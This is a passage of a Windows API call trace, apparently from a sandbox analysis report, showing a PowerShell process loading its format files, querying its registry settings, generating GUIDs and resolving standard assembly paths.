lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.113] GetLastError () returned 0x0 [0058.113] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.113] GetLastError () returned 0x0 [0058.113] CloseHandle (hObject=0x32c) returned 1 [0058.113] GetLastError () returned 0x0 [0058.114] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0058.114] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0058.115] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0058.115] RegCloseKey (hKey=0x32c) returned 0x0 [0058.117] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xac73d312, Data2=0x7699, Data3=0x4629, Data4=([0]=0xa4, [1]=0x8b, [2]=0x64, [3]=0x5, [4]=0x0, [5]=0xc8, [6]=0x58, [7]=0x36))) returned 0x0 [0058.117] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x780bddcc, Data2=0x42a0, Data3=0x4c3b, Data4=([0]=0xa4, [1]=0x35, [2]=0xca, [3]=0x35, [4]=0x9c, [5]=0x8e, [6]=0x13, [7]=0xa0))) returned 0x0 [0058.117] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb5760460, Data2=0x1767, Data3=0x4875, Data4=([0]=0xa2, [1]=0xcc, [2]=0x10, [3]=0x86, [4]=0x2f, [5]=0x99, [6]=0x73, [7]=0xed))) returned 0x0 [0058.117] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1e62bd00, Data2=0xc2b3, Data3=0x484e, Data4=([0]=0xa6, [1]=0x1b, [2]=0x4b, [3]=0x28, [4]=0xe2, [5]=0xf6, [6]=0x28, [7]=0x1d))) returned 0x0 [0058.117] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xd6870503, Data2=0xc6eb, Data3=0x4be3, Data4=([0]=0xad, [1]=0x11, [2]=0xdc, [3]=0x30, [4]=0x77, [5]=0x4e, [6]=0x12, [7]=0xa7))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xd3784a6e, Data2=0x284d, Data3=0x47e3, Data4=([0]=0x99, [1]=0x56, [2]=0xcc, [3]=0xf7, [4]=0x91, [5]=0x54, [6]=0x3b, [7]=0x2c))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xaa6038e7, Data2=0x393f, Data3=0x4d50, Data4=([0]=0xa7, [1]=0xca, [2]=0x9b, [3]=0x78, [4]=0x3e, [5]=0x41, [6]=0x31, [7]=0xef))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x440919b1, Data2=0x431b, Data3=0x4503, Data4=([0]=0xae, [1]=0x9e, [2]=0x32, [3]=0xb1, [4]=0x6c, [5]=0x5c, [6]=0x5f, [7]=0x2d))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xeeab0205, Data2=0x1549, Data3=0x4719, Data4=([0]=0xb0, [1]=0x9b, [2]=0x8f, [3]=0xea, [4]=0x2a, [5]=0x81, [6]=0xbb, [7]=0x90))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x914a53f0, Data2=0xf6ee, Data3=0x4f0a, Data4=([0]=0x8b, [1]=0x82, [2]=0xcb, [3]=0x24, [4]=0xf9, [5]=0xf0, [6]=0xa2, [7]=0xb9))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xca221936, Data2=0x85c2, Data3=0x4d14, Data4=([0]=0xba, [1]=0xd2, [2]=0x8d, [3]=0x6f, [4]=0x8c, [5]=0x57, [6]=0x9e, [7]=0xc5))) returned 0x0 [0058.118] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x6365f9c7, Data2=0xf240, Data3=0x4f80, Data4=([0]=0xab, [1]=0xc1, [2]=0xc9, [3]=0xe0, [4]=0x23, [5]=0x18, [6]=0x8, [7]=0xc6))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x55db4726, Data2=0x928a, Data3=0x42b5, Data4=([0]=0xab, [1]=0x9e, [2]=0x3f, [3]=0x9, [4]=0x99, [5]=0x2c, [6]=0x6b, [7]=0xbf))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xea69dde2, Data2=0x9d61, Data3=0x4f49, Data4=([0]=0x8f, [1]=0x94, [2]=0xb3, [3]=0x44, [4]=0xde, [5]=0x8b, [6]=0x82, [7]=0xe2))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x168ce560, Data2=0x84c0, Data3=0x4c02, Data4=([0]=0x85, [1]=0x2d, [2]=0x9b, [3]=0x4f, [4]=0xe8, [5]=0x7a, [6]=0xd5, [7]=0xc8))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xfe8161a, Data2=0x2f14, Data3=0x4060, Data4=([0]=0xa6, [1]=0x27, [2]=0x79, [3]=0x96, [4]=0xf1, [5]=0xf, [6]=0x39, [7]=0xbb))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc1aef09b, Data2=0x601b, Data3=0x4d8e, Data4=([0]=0x8c, [1]=0x2d, [2]=0xbc, [3]=0x8c, [4]=0x16, [5]=0x2c, [6]=0x34, [7]=0xc5))) returned 0x0 [0058.119] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xa3bc45ef, Data2=0x7cff, Data3=0x49a0, Data4=([0]=0xa9, [1]=0x84, [2]=0x67, [3]=0xef, [4]=0x60, [5]=0x4a, [6]=0xd0, [7]=0x5b))) returned 0x0 [0058.120] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x24b7707f, Data2=0xf84a, Data3=0x48c1, Data4=([0]=0x89, [1]=0xc6, [2]=0xa3, [3]=0xdb, [4]=0xc7, [5]=0x4d, [6]=0x6a, [7]=0xde))) returned 0x0 [0058.120] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xaa1a4e19, Data2=0x38e9, Data3=0x4a59, Data4=([0]=0xac, [1]=0x5e, [2]=0xde, [3]=0xbc, [4]=0xed, [5]=0x14, [6]=0xe5, [7]=0xbf))) returned 0x0 [0058.120] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x41e7f4c0, Data2=0x427, Data3=0x45f2, Data4=([0]=0xac, [1]=0x62, [2]=0x55, [3]=0x11, [4]=0x8b, [5]=0x49, [6]=0x8e, [7]=0x45))) returned 0x0 [0058.120] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xbd7009ce, Data2=0xb8e3, Data3=0x4b86, Data4=([0]=0x84, [1]=0x8e, [2]=0x39, [3]=0x8, [4]=0x52, [5]=0x9f, [6]=0xc, [7]=0xc9))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x65fbd1a6, Data2=0xa121, Data3=0x4734, Data4=([0]=0xad, [1]=0xa3, [2]=0x39, [3]=0x20, [4]=0x8f, [5]=0xf7, [6]=0xd4, [7]=0xf9))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc864cb56, Data2=0x32d, Data3=0x4209, Data4=([0]=0x94, [1]=0xa0, [2]=0xd4, [3]=0x5, [4]=0x5a, [5]=0x7e, [6]=0xac, [7]=0x30))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x39df2aa3, Data2=0x5de9, Data3=0x496b, Data4=([0]=0x84, [1]=0xde, [2]=0x53, [3]=0xdf, [4]=0x61, [5]=0x38, [6]=0x91, [7]=0x9e))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xdc40329f, Data2=0x37eb, Data3=0x4f6c, Data4=([0]=0xab, [1]=0x34, [2]=0xe8, [3]=0xd8, [4]=0x6, [5]=0xb9, [6]=0x68, [7]=0xe1))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe7b2080, Data2=0x5213, Data3=0x48d2, Data4=([0]=0xac, [1]=0xf2, [2]=0xbe, [3]=0x9d, [4]=0x6a, [5]=0x7, [6]=0x29, [7]=0x6a))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x9c838faa, Data2=0x4869, Data3=0x4886, Data4=([0]=0xb7, [1]=0x2a, [2]=0x86, [3]=0x45, [4]=0x2f, [5]=0xd5, [6]=0x5e, [7]=0x73))) returned 0x0 [0058.121] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xda2174e2, Data2=0x8465, Data3=0x46f9, Data4=([0]=0x94, [1]=0x6c, [2]=0x81, [3]=0x8e, [4]=0xdf, [5]=0x8c, [6]=0x72, [7]=0x74))) returned 0x0 [0058.122] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x76437d82, Data2=0x42d0, Data3=0x4de0, Data4=([0]=0x94, [1]=0x62, [2]=0xa1, [3]=0xd0, [4]=0xb8, [5]=0x3c, [6]=0xf8, [7]=0xcb))) returned 0x0 [0058.122] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1b4e64a2, Data2=0x7052, Data3=0x4e44, Data4=([0]=0x92, [1]=0x15, [2]=0xb2, [3]=0x34, [4]=0x37, [5]=0xcb, [6]=0x80, [7]=0xcf))) returned 0x0 [0058.122] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xbf97d1f2, Data2=0xab7c, Data3=0x43ef, Data4=([0]=0xba, [1]=0x2, [2]=0xd4, [3]=0x1, [4]=0xd6, [5]=0x99, [6]=0x56, [7]=0xa3))) returned 0x0 [0058.122] VirtualQuery (in: lpAddress=0x25d1f0, lpBuffer=0x25e1f0, dwLength=0x1c | out: lpBuffer=0x25e1f0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.122] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x8c18b5e5, Data2=0x5e6a, Data3=0x4cbb, Data4=([0]=0x97, [1]=0x15, [2]=0xb6, [3]=0x4a, [4]=0xf0, [5]=0x89, [6]=0x77, [7]=0x2b))) returned 0x0 [0058.124] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x94ea288f, Data2=0xa024, Data3=0x4972, Data4=([0]=0x81, [1]=0x9a, [2]=0xf, [3]=0xd1, [4]=0x84, [5]=0xef, [6]=0xa5, [7]=0xe6))) returned 0x0 [0058.124] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb27d565b, Data2=0x3b5c, Data3=0x4c5b, Data4=([0]=0x96, [1]=0x8f, [2]=0x59, [3]=0xf0, [4]=0x88, [5]=0x43, [6]=0xfd, [7]=0x40))) returned 0x0 [0058.124] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4c4bc488, Data2=0xaf3a, Data3=0x4614, Data4=([0]=0xaa, [1]=0xa0, [2]=0x39, [3]=0x88, [4]=0x96, [5]=0x1b, [6]=0x6a, [7]=0xe9))) returned 0x0 [0058.124] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xba70b6dc, Data2=0x8f8c, Data3=0x4252, Data4=([0]=0x99, [1]=0x69, [2]=0x7, [3]=0x2b, [4]=0x76, [5]=0xd3, [6]=0xb9, [7]=0x4e))) returned 0x0 [0058.124] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc039d58a, Data2=0x7908, Data3=0x4e84, Data4=([0]=0xbf, [1]=0xdc, [2]=0x24, [3]=0xa4, [4]=0xf5, [5]=0xbf, [6]=0x1e, [7]=0x22))) returned 0x0 [0058.125] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x18d36051, Data2=0xf041, Data3=0x4a48, Data4=([0]=0x85, [1]=0xbd, [2]=0x4a, [3]=0xe, [4]=0x6f, [5]=0xd8, [6]=0xe4, [7]=0x3b))) returned 0x0 [0058.125] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x487e70f6, Data2=0x7b1c, Data3=0x4e91, Data4=([0]=0xad, [1]=0xec, [2]=0xe7, [3]=0xb5, [4]=0xd5, [5]=0xac, [6]=0xd3, [7]=0x82))) returned 0x0 [0058.125] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4ad91793, Data2=0x1429, Data3=0x4f60, Data4=([0]=0x8a, [1]=0x42, [2]=0xd7, [3]=0xfa, [4]=0xb1, [5]=0x5b, [6]=0xa6, [7]=0xf8))) returned 0x0 [0058.125] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x571c9ca, Data2=0xce4a, Data3=0x4a94, Data4=([0]=0xb8, [1]=0xab, [2]=0x3e, [3]=0xec, [4]=0x19, [5]=0xb8, [6]=0xa2, [7]=0xf3))) returned 0x0 [0058.125] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4be288c9, Data2=0xdee, Data3=0x41cb, Data4=([0]=0x9d, [1]=0x10, [2]=0x44, [3]=0xfd, [4]=0x1, [5]=0x4e, [6]=0x4a, [7]=0x6a))) returned 0x0 [0058.126] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x708694bc, Data2=0x768, Data3=0x46b2, Data4=([0]=0x9b, [1]=0xb4, [2]=0x98, [3]=0xfe, [4]=0x9a, [5]=0x75, [6]=0xb, [7]=0xb))) returned 0x0 [0058.126] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x6e327fd1, Data2=0x20a3, Data3=0x4d82, Data4=([0]=0xaa, [1]=0x9e, [2]=0xa, [3]=0xa, [4]=0x62, [5]=0xdb, [6]=0x2e, [7]=0xda))) returned 0x0 [0058.126] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x807783da, Data2=0x7d59, Data3=0x4e64, Data4=([0]=0x97, [1]=0x3e, [2]=0x8, [3]=0x74, [4]=0x95, [5]=0x27, [6]=0xe2, [7]=0x1e))) returned 0x0 [0058.126] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x6c6bc707, Data2=0xd890, Data3=0x4ed8, Data4=([0]=0xbe, [1]=0x6a, [2]=0x64, [3]=0xac, [4]=0xd0, [5]=0xd5, [6]=0x23, [7]=0x1a))) returned 0x0 [0058.126] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x9ad8346e, Data2=0x86c3, Data3=0x45fb, Data4=([0]=0xb2, [1]=0x6f, [2]=0x88, [3]=0xc6, [4]=0xcc, [5]=0xbd, [6]=0x39, [7]=0x34))) returned 0x0 [0058.127] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0058.127] GetLastError () returned 0x0 [0058.127] GetFileType (hFile=0x32c) returned 0x1 [0058.127] SetErrorMode (uMode=0x1) returned 0x1 [0058.127] GetFileType (hFile=0x32c) returned 0x1 [0058.127] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.129] GetLastError () returned 0x0 [0058.130] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.130] GetLastError () returned 0x0 [0058.130] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.130] GetLastError () returned 0x0 [0058.130] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.130] GetLastError () returned 0x0 [0058.130] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x8b4, lpOverlapped=0x0) returned 1 [0058.130] GetLastError () returned 0x0 [0058.131] ReadFile (in: hFile=0x32c, lpBuffer=0x343ec88, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343ec88*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.131] GetLastError () returned 0x0 [0058.131] ReadFile (in: hFile=0x32c, lpBuffer=0x343f834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x343f834*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.131] GetLastError () returned 0x0 [0058.131] CloseHandle (hObject=0x32c) returned 1 [0058.131] GetLastError () returned 0x0 [0058.131] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0058.131] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0058.131] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0058.132] RegCloseKey (hKey=0x32c) returned 0x0 [0058.132] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb0f399da, Data2=0x1907, Data3=0x4542, Data4=([0]=0x95, [1]=0xf4, [2]=0xb7, [3]=0x86, [4]=0x57, [5]=0x2c, [6]=0x5, [7]=0x33))) returned 0x0 [0058.132] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x30c93652, Data2=0x6e82, Data3=0x4126, Data4=([0]=0xb6, [1]=0x58, [2]=0x93, [3]=0xb1, [4]=0x2a, [5]=0x9, [6]=0x45, [7]=0x55))) returned 0x0 [0058.132] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0058.133] GetLastError () returned 0x0 [0058.133] GetFileType (hFile=0x32c) returned 0x1 [0058.133] SetErrorMode (uMode=0x1) returned 0x1 [0058.133] GetFileType (hFile=0x32c) returned 0x1 [0058.133] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.134] GetLastError () returned 0x0 [0058.135] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.135] GetLastError () returned 0x0 [0058.135] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.136] GetLastError () returned 0x0 [0058.136] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.136] GetLastError () returned 0x0 [0058.136] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0xe98, lpOverlapped=0x0) returned 1 [0058.136] GetLastError () returned 0x0 [0058.136] ReadFile (in: hFile=0x32c, lpBuffer=0x3475d78, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3475d78*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.136] GetLastError () returned 0x0 [0058.136] ReadFile (in: hFile=0x32c, lpBuffer=0x3476740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3476740*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0058.136] GetLastError () returned 0x0 [0058.136] CloseHandle (hObject=0x32c) returned 1 [0058.136] GetLastError () returned 0x0 [0058.137] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0058.137] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0058.137] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0058.137] RegCloseKey (hKey=0x32c) returned 0x0 [0058.138] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xf5dcb9cf, Data2=0xc6d1, Data3=0x4e11, Data4=([0]=0xb7, [1]=0xb5, [2]=0x17, [3]=0xa6, [4]=0x2a, [5]=0x44, [6]=0x62, [7]=0xbe))) returned 0x0 [0058.138] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xf822aaa9, Data2=0x2be9, Data3=0x4b04, Data4=([0]=0x8d, [1]=0x60, [2]=0x91, [3]=0x93, [4]=0x82, [5]=0xb5, [6]=0x26, [7]=0x9a))) returned 0x0 [0058.162] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0058.162] GetLastError () returned 0x57 [0058.163] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0058.163] GetLastError () returned 0x57 [0058.171] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0058.171] GetLastError () returned 0x57 [0058.171] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0058.171] GetLastError () returned 0x57 [0058.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.173] GetLastError () returned 0x57 [0058.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.173] GetLastError () returned 0x57 [0058.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0058.175] GetLastError () returned 0x57 [0058.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0058.175] GetLastError () returned 0x57 [0058.177] GetFullPathNameW (in: 